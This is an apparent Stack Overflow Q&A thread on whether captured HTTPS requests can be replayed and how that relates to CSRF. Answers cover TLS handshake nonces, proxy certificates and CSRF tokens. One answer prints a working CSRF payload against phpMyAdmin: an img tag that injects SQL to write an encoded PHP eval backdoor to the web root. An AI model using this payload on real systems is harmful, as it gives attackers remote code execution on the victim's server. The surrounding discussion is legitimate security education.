38

Let's say a security tester uses a proxy, say Fiddler, and records an HTTPS request using the administrator's credentials-- on replay of the entire request (including session and auth cookies) the security tester is able to succesfully (re)record transactions. The claim is that this is a sign of a CSRF vulnerability.

What would a malicious user have to do to intercept the HTTPS request and replay it? It this a task for script kiddies, well funded military hacking teams or time-traveling-alien technology? Is it really so easy to record the SSL sessions of users and replay them before the tickets expire?

No code in the application currently does anything interesting on HTTP GET, so AFAIK, tricking the admin into clicking a link or loading a image with a malicious URL isn't an issue.

Pavel Vlasov
  • 4,206
  • 6
  • 41
  • 54
MatthewMartin
  • 32,326
  • 33
  • 105
  • 164

6 Answers6

45

HTTPS is not replayable, the first server response in the handshake sequence includes a server-chosen random number.

What Fiddler does is act as a proxy, meaning it intercepts your browser's requests, and then generates an identical request to the server, meaning it has access to the plaintext, which is what it will be replaying. Your browser lets you know this by telling you the certificate is from Fiddler - "DO_NOT_TRUST_FiddlerRoot", which you have to agree to before it will send the message ignoring the certificate mismatch.

Simon Buchan
  • 12,707
  • 2
  • 48
  • 55
  • good point on the random-number thing, is it using some kind of diffie-hellman key exchange? – dlamotte May 05 '10 at 02:00
  • 1
    @xyld: See http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake_in_detail – Simon Buchan May 05 '10 at 02:57
  • 2
    Thanks, its reassuring to know that SSL isn't broken yet. So if I understand correctly, a malicious user can't record another persons SSL session without either co-operation or at least the user getting notice of problems with the cert. And if they did attempt to replay the raw SSL requests, it would be rejected. – MatthewMartin May 05 '10 at 20:27
  • 7
    Now, if the proxy in the middle uses a different certificate but it *is* a certificate you trust, then you're doomed. This is generally only a concern if a trusted certificate authority is in league with the eavesdroppers. It is possible to detect suspicious certificate changes, but this is not the default behavior anywhere afaik. Generally, this means governments (and not necessarily your own) can intercept your communications with cooperation from the certificate authorities via a man-in-the-middle attack as described. – Brian Jun 29 '10 at 19:52
  • @Brian: Doesn't even need to be a government, I've got a cert, for example. I thought webpages won't silently accept a new cert, meaning you at least get the auth info in the address bar or a warning on the login page or whatever? – Simon Buchan Jul 05 '10 at 06:31
  • 2
    @Simon: You can't arbitrarily replace a cert unless a trusted signing authority (and not necessarily the same one which trusted the previous cert!) gives the new cert an OK. But if it does, no warning. That's why you don't get weird warning messages every time a website's certificate is replaced with a new one (e.g. because the previous cert expired). Generally, a signing authority isn't going to issue me a new Amazon cert so I can do a man-in-the-middle attack, but a government agent with a subpoena is another story. – Brian Jul 05 '10 at 08:47
  • Ahh, I see what you mean. I was reading that as, say, intercepting the POST of a login page with a different cert than the serving page. I am astonished it doesn't have to be the same root authority though, that means only one guy has to slip up among, what, hundreds? to utterly and silently screw the entire internet :/. – Simon Buchan Jul 05 '10 at 09:33
  • @Brian: One word: Etilasat. (*technically* a trusted signing authority, *in reality* not-so-trustworthy entity; their CA certificates are trusted by most browsers, by default) And there may be others - do you inspect the list of your trusted CAs? I guess nobody (within the margin of statistical error) does that; and there are literally hundreds of entities there. http://www.eff.org/deeplinks/2010/08/open-letter-verizon – Piskvor left the building Sep 22 '10 at 08:30
  • 1
    To clarify the answer, see https://softwareengineering.stackexchange.com/a/194668/245162 - the bit that makes HTTPS non-replayable is if the server is configured to only allow the TLS protocol as per rfc2246 section F.2. – Adrian K Jul 31 '17 at 02:45
  • @AdrianK A bit academic when SSL is broken anyway, but every SSL2 or 3 protocol description I've found includes nonces from the client and server that would cause blind replay attacks (i.e. re-send the exact client-side bits you saw another client send) to fail, and even SSL 2 further had a MAC. – Simon Buchan Aug 02 '17 at 02:49
7

What you are describing is not a CSRF vulnerability. HTTPS specifically defends against re-play attacks of raw cipher text and prevents the attacker from knowing the contents of the request.

It is important to note that HTTPS does not defend against CSRF. If the attacker knows what the GET/POST variables should be then he is able to build malicious html that when it is executed by a target will perform the action the attacker desires. If the web application isn't public and he the attacker doesn't know an HTTP request looks like, then they can't forge the request. For instance here is a CSRF exploit i wrote against phpMyAdmin. I have modified this exploit to work with https, and all i had to do was change the url from http:// to https:// .

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

This exploit uses mysql's "into outfile" to drop a backdoor. It work with no-script, becuase it is forging a GET request, and the browser thinks its an image until its too late.

rook
  • 66,304
  • 38
  • 162
  • 239
  • As you noted this isn't really about CSRF. Narrowly speaking, the security reviewer could have called his replay attack chopped liver or XSS. It's still a replay attack. HTTPS probably doesn't protect against chopped liver or XSS or a host of other issues as well. But any attack that relies on replay should be protected by HTTPS. At least one person on this thread agrees. – MatthewMartin May 05 '10 at 20:22
1

Do you mean to imply merely a replay of SSL (which has not yet publicly been shown to be possible) or of the authentication cookies (which is application specific)? The former would indicate an obtuse, privately discovered vulnerability in SSL (which you are unlikely to be able to remediate, I might add). The latter, i.e., where an arbitrary machine can supply cookies for a previously established authenticated session, does indicate a potentially exploitable CSRF vulnerability in your application, which should be addressed.

Even though SSL traffic is, generally, thought to be impossible to sniff via a MTM attack (assuming you've taken corrective action against the vulnerability disclosed last November), a cookie stored on the user's remote computer is not immune to interception (particularly if there is a XSS vulnerability in your site or any site on the same domain as your site). Such cross-domain / two-vulnerability exploits are increasingly common and, frrom a strict security perspective, an vulnerability is potentially exploitable, even if not directly through your application.

ig0774
  • 39,669
  • 3
  • 55
  • 57
  • The app uses in memory cookies, so presumably, it would be difficult for a 3rd party to get a hold of the cookie (unless they were transparently intercepting the response). I'm not sure what a 'replay' of a cookie would be. A cookie, I thought, was just a section in the HTTPS response. The security reviewer was replaying the entire request, including headers, cookies, POST body and all. – MatthewMartin May 05 '10 at 20:32
0

-- edit: Note, I am wrong about SSL not handling replay attacks, according to the below it does. Implementing the token approach is still good.

Consider "replaying" a HTTPS request as just going back in the browser and hitting the button again.

So that is to say, you don't need to decode anything to re-submit an SSL request. Any node on the way can do it (they just can't see the traffic).

So if I capture your SSL transaction that sends me $100, then I can capture that and resend it so that I keep getting the money.

The obvious solution to this (well, the typical solution) is to generate a token on the HTML page, and then hold that same value in the session. When a request comes in, you check this value, check that it is the current value, and if it is, process it, and then change the current value.

If it's not the current value (i.e. it's the old value after you've processed the "original" request), then you know the page was re-submitted.

This is a common approach to prevent the duplicate submission of credit card details, and so on, but it also has this security benefit of forcing a unique request to match each response. An attacker in the chain who can't decrpyt SSL can't get passed this.

Noon Silk
  • 54,084
  • 6
  • 88
  • 105
  • 2
    +1 good point about the csrf token in the form/POST, hopefully everyone does that ;) – dlamotte May 05 '10 at 02:02
  • 5
    This is false, replaying the raw stream will fail, the TLS handshake already includes a cryptographically secure random token. Not that including a request token is a bad idea, it lets you recognise page refreshes on top of defense in depth. – Simon Buchan May 05 '10 at 03:02
  • 1
    @Simon: I'll accept your comment but I won't agree until I've checked for myself. I'm not sure if you are referring to *only* the initial handshake. – Noon Silk May 05 '10 at 03:27
  • see http://serverfault.com/questions/32473/does-https-include-protection-from-a-replay-attack and http://www3.tsl.uu.se/~micke/ssl_links.html#Security%20analysis%20of – Sripathi Krishnan May 05 '10 at 03:57
  • I'm confused. Anyhow, for the given replay attack to work, it would have to be replayed before the session and auth cookies expired. I don't have re-submit detection and that sounds interesting, maybe that should be my next question. – MatthewMartin May 05 '10 at 20:25
0

SSL V2 is completely vulnerable, it must not be enabled.

http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet

RandomNickName42
  • 5,923
  • 1
  • 36
  • 35
-1

As far as I know, CSRF is when one site refers to another site and steals the current users credentials as a part of this. CSRF is NOT simply forwarding requests.

A proxy is a trusted forwarder that should not tamper with requests. It's as simple as the classic man in the middle attack. If you trust something in-between your connection to your end-point, you're at the mercy of the man in the middle.

To intercept and replay an HTTPS request (the classic HTTP replay attack), you would have to be able to decrypt the SSL encryption of the traffic AFAIK. My guess is, you cannot do that. Much less, fast enough to be useful.

Some more background would be useful, but I'm not sure what you're driving at here.

dlamotte
  • 6,145
  • 4
  • 31
  • 40
  • As I dimly understand things, CSRF is tricking a currently authenticated user to make a request using an open browser with a live session and auth cookies-- say through the IMG tag trick. A successful CSRF attack requires knowledge in advance of how to craft a malicious message. My security reviewer decided to get that knowledge by recording a request and replaying it. If the security reviewer couldn't record the HTTPS request in the first place, he couldn't trick a currently authenticated user into re-submitting a request. – MatthewMartin May 05 '10 at 20:40
  • I was saying that a proxy is **NOT** a form of CSRF. There is no actual forgery... you're asking the proxy to forward requests... I think we've misunderstood eachother – dlamotte May 05 '10 at 21:23